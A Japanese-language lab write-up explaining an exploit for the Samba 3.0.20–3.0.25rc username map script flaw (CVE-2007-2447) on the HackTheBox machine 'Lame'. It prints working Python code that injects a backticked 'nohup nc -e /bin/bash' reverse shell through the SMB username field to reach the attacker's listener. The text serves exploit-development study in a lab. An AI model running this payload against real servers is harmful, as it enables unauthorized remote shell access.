
CVE-2007-2447 Samba 3.0.20-3.0.25rc username map スクリプトコマンド実行脆弱性に対する教育用エクスプロイト実装、Python SMB クライアントペイロードと netcat リバースシェル使用。
オリジナルエクスプロイト: https://www.exploit-db.com/exploits/16320
エクスプロイト名: Samba username map script RCE
CVE: 2007-2447
ラボ: Lame - HackTheBox
Samba 3.0.25未満のバージョンには、攻撃者がSMBサーバーにユーザー名として不正なリクエストを送信することでシステムコマンドを実行できる脆弱性があります。
以下は、nohupコマンドを使用してディレクトリを作成する例です:

プログラム的には、/=は除算代入演算子で、通常ループで使用されます。しかし、なぜここでそれを使う必要があるのでしょうか?
その理由は、リクエスト送信時にドメインフィールドとユーザー名フィールドを分割するためです。より詳しい説明はこちらにあります。ユーザー名フィールドを使用してnetcat接続を開き、自分のサーバーに接続します。
エクスプロイトの作成は非常に簡単です。Python用のSMBクライアントライブラリ(python3-sambaパッケージをインストール)が既に利用可能なので、以下のように使用するだけです:
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
SMBConnectionの動作を理解しましょう。usernameを指定しましたが、他の3つの空文字列は何でしょうか?
それら3つの引数は、password、my_name、remote_nameです。
エクスプロイトを読みやすくするために、明示的に引数とその値を記述することもできますが、username以降の引数の値は必須ではありません:
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
次の部分は理解しやすいです。SMBConnectionクラスのインスタンスを使用して接続を行い、ターゲットのIP、ポート、タイムアウト秒数を指定します:
conn.connect(rhost, rport, timeout=10)
このエクスプロイト開発セッションでは、SMBクライアントを作成し、SMBサーバーに接続する方法を学びました。また、後で試すことができるnohupなどのLinuxコマンドについても学びました。被害マシンから攻撃マシンにnetcatを使用して接続する方法を学びました。これは、エクスプロイト開発の旅で役立つかもしれません。